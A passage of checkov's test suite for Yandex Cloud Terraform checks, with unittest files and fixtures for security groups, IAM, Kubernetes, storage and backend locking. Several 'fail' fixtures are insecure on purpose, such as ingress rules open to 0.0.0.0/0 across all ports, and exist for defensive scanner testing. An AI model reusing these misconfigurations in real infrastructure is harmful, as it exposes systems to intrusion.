["0.0.0.0/0"] from_port = 0 to_port = 65535 } } resource "yandex_vpc_security_group" "fail-2" { name = "My security group" ingress { v4_cidr_blocks = ["10.0.0.0/24","0.0.0.0/0"] } } ================================================ FILE: tests/terraform/checks/resource/yandexcloud/example_VPCSecurityGroupRuleAllowAll/main.tf ================================================ # pass resource "yandex_vpc_security_group_rule" "pass-1" { direction = "ingress" v4_cidr_blocks = ["0.0.0.0/0"] from_port = 8090 to_port = 8099 protocol = "UDP" } resource "yandex_vpc_security_group_rule" "pass-2" { security_group_binding = yandex_vpc_security_group.group1.id direction = "ingress" v4_cidr_blocks = ["10.0.1.0/24"] from_port = 8090 to_port = 8099 protocol = "UDP" } resource "yandex_vpc_security_group_rule" "pass-3" { security_group_binding = yandex_vpc_security_group.group1.id direction = "ingress" v4_cidr_blocks = ["0.0.0.0/0"] port = 22 protocol = "TCP" } resource "yandex_vpc_security_group_rule" "pass-4" { security_group_binding = yandex_vpc_security_group.group1.id direction = "egress" v4_cidr_blocks = ["0.0.0.0/0"] from_port = 0 to_port = 65535 protocol = "TCP" } # fail resource "yandex_vpc_security_group_rule" "fail-1" { security_group_binding = yandex_vpc_security_group.group1.id direction = "ingress" description = "rule1 description" v4_cidr_blocks = ["0.0.0.0/0"] from_port = 0 to_port = 65535 protocol = "TCP" } resource "yandex_vpc_security_group_rule" "fail-2" { security_group_binding = yandex_vpc_security_group.group1.id direction = "ingress" description = "rule2 description" v4_cidr_blocks = ["0.0.0.0/0"] protocol = "TCP" } resource "yandex_vpc_security_group_rule" "fail-3" { security_group_binding = yandex_vpc_security_group.group1.id direction = "ingress" v4_cidr_blocks = ["10.0.0.0/24","0.0.0.0/0"] port = -1 protocol = "TCP" } ================================================ FILE: tests/terraform/checks/resource/yandexcloud/test_ComputeInstanceGroupPublicIP.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.yandexcloud.ComputeInstanceGroupPublicIP import check from checkov.terraform.runner import Runner class TestComputeInstanceGroupPublicIP(unittest.TestCase): def test(self): test_files_dir = Path(__file__).parent / "example_ComputeInstanceGroupPublicIP" report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "yandex_compute_instance_group.default", "yandex_compute_instance_group.private" } failing_resources = { "yandex_compute_instance_group.public" } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 2) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/yandexcloud/test_ComputeInstanceGroupSecurityGroup.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.yandexcloud.ComputeInstanceGroupSecurityGroup import check from checkov.terraform.runner import Runner class TestComputeInstanceGroupSecurityGroup(unittest.TestCase): def test(self): test_files_dir = Path(__file__).parent / "example_ComputeInstanceGroupSecurityGroup" report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "yandex_compute_instance_group.pass" } failing_resources = { "yandex_compute_instance_group.fail" } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/yandexcloud/test_ComputeVMPublicIP.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.yandexcloud.ComputeVMPublicIP import check from checkov.terraform.runner import Runner class TestComputeVMPublicIP(unittest.TestCase): def test(self): test_files_dir = Path(__file__).parent / "example_ComputeVMPublicIP" report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "yandex_compute_instance.default", "yandex_compute_instance.private" } failing_resources = { "yandex_compute_instance.public" } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 2) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/yandexcloud/test_ComputeVMSecurityGroup.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.yandexcloud.ComputeVMSecurityGroup import check from checkov.terraform.runner import Runner class TestComputeVMSecurityGroup(unittest.TestCase): def test(self): test_files_dir = Path(__file__).parent / "example_ComputeVMSecurityGroup" report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "yandex_compute_instance.pass" } failing_resources = { "yandex_compute_instance.fail" } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/yandexcloud/test_ComputeVMSerialConsole.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.yandexcloud.ComputeVMSerialConsole import check from checkov.terraform.runner import Runner class TestComputeVMSerialConsole(unittest.TestCase): def test(self): test_files_dir = Path(__file__).parent / "example_ComputeVMSerialConsole" report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "yandex_compute_instance.default", "yandex_compute_instance.pass" } failing_resources = { "yandex_compute_instance.fail" } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 2) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/yandexcloud/test_IAMCloudElevatedMembers.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.yandexcloud.IAMCloudElevatedMembers import check from checkov.terraform.runner import Runner class TestIAMCloudElevatedMembers(unittest.TestCase): def test(self): test_files_dir = Path(__file__).parent / "example_IAMCloudElevatedMembers" report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "yandex_resourcemanager_cloud_iam_member.pass-1", "yandex_resourcemanager_cloud_iam_member.pass-2", "yandex_resourcemanager_cloud_iam_binding.pass-3" } failing_resources = { "yandex_resourcemanager_cloud_iam_member.fail-1", "yandex_resourcemanager_cloud_iam_binding.fail-2" } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 3) self.assertEqual(summary["failed"], 2) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/yandexcloud/test_IAMFolderElevatedMembers.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.yandexcloud.IAMFolderElevatedMembers import check from checkov.terraform.runner import Runner class TestIAMFolderElevatedMembers(unittest.TestCase): def test(self): test_files_dir = Path(__file__).parent / "example_IAMFolderElevatedMembers" report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "yandex_resourcemanager_folder_iam_binding.pass-1", "yandex_resourcemanager_folder_iam_member.pass-2" } failing_resources = { "yandex_resourcemanager_folder_iam_binding.fail-1", "yandex_resourcemanager_folder_iam_member.fail-2" } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 2) self.assertEqual(summary["failed"], 2) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/yandexcloud/test_IAMOrganizationElevatedMembers.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.yandexcloud.IAMOrganizationElevatedMembers import check from checkov.terraform.runner import Runner class TestIAMOrganizationElevatedMembers(unittest.TestCase): def test(self): test_files_dir = Path(__file__).parent / "example_IAMOrganizationElevatedMembers" report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "yandex_organizationmanager_organization_iam_binding.pass-1", "yandex_organizationmanager_organization_iam_member.pass-2" } failing_resources = { "yandex_organizationmanager_organization_iam_binding.fail-1", "yandex_organizationmanager_organization_iam_binding.fail-2", "yandex_organizationmanager_organization_iam_binding.fail-3", "yandex_organizationmanager_organization_iam_member.fail-4", "yandex_organizationmanager_organization_iam_member.fail-5", "yandex_organizationmanager_organization_iam_member.fail-6" } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 2) self.assertEqual(summary["failed"], 6) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/yandexcloud/test_IAMPassportAccountUsage.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.yandexcloud.IAMPassportAccountUsage import scanner from checkov.terraform.runner import Runner class TestIAMPassportAccountUsage(unittest.TestCase): def test(self): test_files_dir = Path(__file__).parent / "example_IAMPassportAccountUsage" report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[scanner.id])) summary = report.get_summary() passing_resources = { "yandex_resourcemanager_folder_iam_binding.pass", "yandex_resourcemanager_folder_iam_member.pass", "yandex_resourcemanager_cloud_iam_binding.pass", "yandex_resourcemanager_cloud_iam_member.pass", "yandex_organizationmanager_organization_iam_binding.pass", "yandex_organizationmanager_organization_iam_member.pass" } failing_resources = { "yandex_resourcemanager_folder_iam_binding.fail", "yandex_resourcemanager_folder_iam_member.fail", "yandex_resourcemanager_cloud_iam_binding.fail", "yandex_resourcemanager_cloud_iam_member.fail", "yandex_organizationmanager_organization_iam_binding.fail", "yandex_organizationmanager_organization_iam_member.fail" } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 6) self.assertEqual(summary["failed"], 6) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/yandexcloud/test_K8SAutoUpgrade.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.yandexcloud.K8SAutoUpgrade import check from checkov.terraform.runner import Runner class TestK8SAutoUpgrade(unittest.TestCase): def test(self): test_files_dir = Path(__file__).parent / "example_K8SAutoUpgrade" report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "yandex_kubernetes_cluster.pass" } failing_resources = { "yandex_kubernetes_cluster.fail" } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/yandexcloud/test_K8SEtcdKMSEncryption.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.yandexcloud.K8SEtcdKMSEncryption import check from checkov.terraform.runner import Runner class TestK8SEtcdKMSEncryption(unittest.TestCase): def test(self): test_files_dir = Path(__file__).parent / "example_K8SEtcdKMSEncryption" report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "yandex_kubernetes_cluster.pass" } failing_resources = { "yandex_kubernetes_cluster.fail" } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/yandexcloud/test_K8SNetworkPolicy.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.yandexcloud.K8SNetworkPolicy import check from checkov.terraform.runner import Runner class TestK8SNetworkPolicy(unittest.TestCase): def test(self): test_files_dir = Path(__file__).parent / "example_K8SNetworkPolicy" report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "yandex_kubernetes_cluster.pass" } failing_resources = { "yandex_kubernetes_cluster.fail" } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/yandexcloud/test_K8SNodeGroupAutoUpgrade.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.yandexcloud.K8SNodeGroupAutoUpgrade import check from checkov.terraform.runner import Runner class TestK8SNodeGroupAutoUpgrade(unittest.TestCase): def test(self): test_files_dir = Path(__file__).parent / "example_K8SNodeGroupAutoUpgrade" report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "yandex_kubernetes_node_group.pass" } failing_resources = { "yandex_kubernetes_node_group.fail" } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/yandexcloud/test_K8SNodeGroupPublicIP.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.yandexcloud.K8SNodeGroupPublicIP import check from checkov.terraform.runner import Runner class TestK8SNodeGroupPublicIP(unittest.TestCase): def test(self): test_files_dir = Path(__file__).parent / "example_K8SNodeGroupPublicIP" report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "yandex_kubernetes_node_group.default", "yandex_kubernetes_node_group.private" } failing_resources = { "yandex_kubernetes_node_group.public" } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 2) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/yandexcloud/test_K8SNodeGroupSecurityGroup.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.yandexcloud.K8SNodeGroupSecurityGroup import check from checkov.terraform.runner import Runner class TestK8SNodeGroupSecurityGroup(unittest.TestCase): def test(self): test_files_dir = Path(__file__).parent / "example_K8SNodeGroupSecurityGroup" report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "yandex_kubernetes_node_group.pass" } failing_resources = { "yandex_kubernetes_node_group.fail" } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/yandexcloud/test_K8SPublicIP.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.yandexcloud.K8SPublicIP import check from checkov.terraform.runner import Runner class TestK8SPublicIP(unittest.TestCase): def test(self): test_files_dir = Path(__file__).parent / "example_K8SPublicIP" report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "yandex_kubernetes_cluster.default", "yandex_kubernetes_cluster.private" } failing_resources = { "yandex_kubernetes_cluster.public" } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 2) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/yandexcloud/test_K8SSecurityGroup.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.yandexcloud.K8SSecurityGroup import check from checkov.terraform.runner import Runner class TestK8SSecurityGroup(unittest.TestCase): def test(self): test_files_dir = Path(__file__).parent / "example_K8SSecurityGroup" report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "yandex_kubernetes_cluster.pass" } failing_resources = { "yandex_kubernetes_cluster.fail" } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/yandexcloud/test_KMSSymmetricKeyRotation.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.yandexcloud.KMSSymmetricKeyRotation import check from checkov.terraform.runner import Runner class TestKMSSymmetricKeyRotation(unittest.TestCase): def test(self): test_files_dir = Path(__file__).parent / "example_KMSSymmetricKeyRotation" report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "yandex_kms_symmetric_key.pass" } failing_resources = { "yandex_kms_symmetric_key.fail" } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/yandexcloud/test_MDBPublicIP.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.yandexcloud.MDBPublicIP import check from checkov.terraform.runner import Runner class TestMDBPublicIP(unittest.TestCase): def test(self): test_files_dir = Path(__file__).parent / "example_MDBPublicIP" report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'yandex_mdb_postgresql_cluster.pass', 'yandex_mdb_sqlserver_cluster.pass', 'yandex_mdb_mysql_cluster.pass', 'yandex_mdb_mongodb_cluster.pass', 'yandex_mdb_kafka_cluster.pass', 'yandex_mdb_greenplum_cluster.pass', 'yandex_mdb_elasticsearch_cluster.pass', 'yandex_mdb_clickhouse_cluster.pass', } failing_resources = { 'yandex_mdb_postgresql_cluster.fail', 'yandex_mdb_sqlserver_cluster.fail', 'yandex_mdb_mysql_cluster.fail', 'yandex_mdb_mongodb_cluster.fail', 'yandex_mdb_kafka_cluster.fail', 'yandex_mdb_greenplum_cluster.fail', 'yandex_mdb_elasticsearch_cluster.fail', 'yandex_mdb_clickhouse_cluster.fail', } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 8) self.assertEqual(summary["failed"], 8) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/yandexcloud/test_MDBSecurityGroup.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.yandexcloud.MDBSecurityGroup import check from checkov.terraform.runner import Runner class TestMDBSecurityGroup(unittest.TestCase): def test(self): test_files_dir = Path(__file__).parent / "example_MDBSecurityGroup" report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'yandex_mdb_postgresql_cluster.pass', 'yandex_mdb_sqlserver_cluster.pass', 'yandex_mdb_redis_cluster.pass', 'yandex_mdb_mysql_cluster.pass', 'yandex_mdb_mongodb_cluster.pass', 'yandex_mdb_kafka_cluster.pass', 'yandex_mdb_greenplum_cluster.pass', 'yandex_mdb_elasticsearch_cluster.pass', 'yandex_mdb_clickhouse_cluster.pass', } failing_resources = { 'yandex_mdb_postgresql_cluster.fail', 'yandex_mdb_sqlserver_cluster.fail', 'yandex_mdb_redis_cluster.fail', 'yandex_mdb_mysql_cluster.fail', 'yandex_mdb_mongodb_cluster.fail', 'yandex_mdb_kafka_cluster.fail', 'yandex_mdb_greenplum_cluster.fail', 'yandex_mdb_elasticsearch_cluster.fail', 'yandex_mdb_clickhouse_cluster.fail', } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 9) self.assertEqual(summary["failed"], 9) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/yandexcloud/test_ObjectStorageBucketEncryption.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.yandexcloud.ObjectStorageBucketEncryption import check from checkov.terraform.runner import Runner class TestObjectStorageBucketEncryption(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_ObjectStorageBucketEncryption" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "yandex_storage_bucket.pass" } failing_resources = { "yandex_storage_bucket.fail" } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/yandexcloud/test_ObjectStorageBucketPublicAccess.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.yandexcloud.ObjectStorageBucketPublicAccess import scanner from checkov.terraform.runner import Runner class TestObjectStorageBucketPublicAccess(unittest.TestCase): def test(self): test_files_dir = Path(__file__).parent / "example_ObjectStorageBucketPublicAccess" report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[scanner.id])) summary = report.get_summary() passing_resources = { "yandex_storage_bucket.pass" } failing_resources = { "yandex_storage_bucket.fail-1", "yandex_storage_bucket.fail-2", "yandex_storage_bucket.fail-3" } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 3) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/yandexcloud/test_VPCSecurityGroupAllowAll.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.yandexcloud.VPCSecurityGroupAllowAll import scanner from checkov.terraform.runner import Runner class TestVPCSecurityGroupAllowAll(unittest.TestCase): def test(self): test_files_dir = Path(__file__).parent / "example_VPCSecurityGroupAllowAll" report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[scanner.id])) summary = report.get_summary() passing_resources = { "yandex_vpc_security_group.pass-1", "yandex_vpc_security_group.pass-2" } failing_resources = { "yandex_vpc_security_group.fail-1", "yandex_vpc_security_group.fail-2" } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 2) self.assertEqual(summary["failed"], 2) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/yandexcloud/test_VPCSecurityGroupRuleAllowAll.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.yandexcloud.VPCSecurityGroupRuleAllowAll import scanner from checkov.terraform.runner import Runner class TestVPCSecurityGroupRuleAllowAll(unittest.TestCase): def test(self): test_files_dir = Path(__file__).parent / "example_VPCSecurityGroupRuleAllowAll" report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[scanner.id])) summary = report.get_summary() passing_resources = { "yandex_vpc_security_group_rule.pass-1", "yandex_vpc_security_group_rule.pass-2", "yandex_vpc_security_group_rule.pass-3", "yandex_vpc_security_group_rule.pass-4" } failing_resources = { "yandex_vpc_security_group_rule.fail-1", "yandex_vpc_security_group_rule.fail-2", "yandex_vpc_security_group_rule.fail-3" } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 4) self.assertEqual(summary["failed"], 3) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/terraform/terraform/resources/lock/fail.cdk.tf.json ================================================ { "terraform": { "backend": { "s3": { "bucket": "example-bucket", "encrypt": true, "key": "path/to/state", "profile": "example", "region": "eu-central-1" } } } } ================================================ FILE: tests/terraform/checks/terraform/terraform/resources/lock/pass.cdk.tf.json ================================================ { "terraform": { "backend": { "s3": { "bucket": "example-bucket", "dynamodb_table": "terraform-locks", "encrypt": true, "key": "path/to/state", "profile": "example", "region": "eu-central-1" } } } } ================================================ FILE: tests/terraform/checks/terraform/terraform/resources/lock/unknown_partialconfig.tf ================================================ terraform { required_version = ">= 1.7" required_providers { aws = { source = "hashicorp/aws" version = "~> 5.0" } } backend "s3" {} } ================================================ FILE: tests/terraform/checks/test_base_resource_check.py ================================================ import unittest from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class TestWildcardEntities(unittest.TestCase): def test_contains_unrendered_variable(self): self.assertTrue(BaseResourceCheck._is_variable_dependant("var.xyz")) self.assertTrue(BaseResourceCheck._is_variable_dependant("local.xyz")) self.assertTrue(BaseResourceCheck._is_variable_dependant("module.xyz")) self.assertTrue(BaseResourceCheck._is_variable_dependant("${var.xyz}")) self.assertTrue(BaseResourceCheck._is_variable_dependant("${local.xyz}")) self.assertTrue(BaseResourceCheck._is_variable_dependant("${module.xyz}")) self.assertTrue(BaseResourceCheck._is_variable_dependant("aws_ssm_parameter.secret.value")) self.assertTrue(BaseResourceCheck._is_variable_dependant("azuread_service_principal_password.gh_actions.value")) 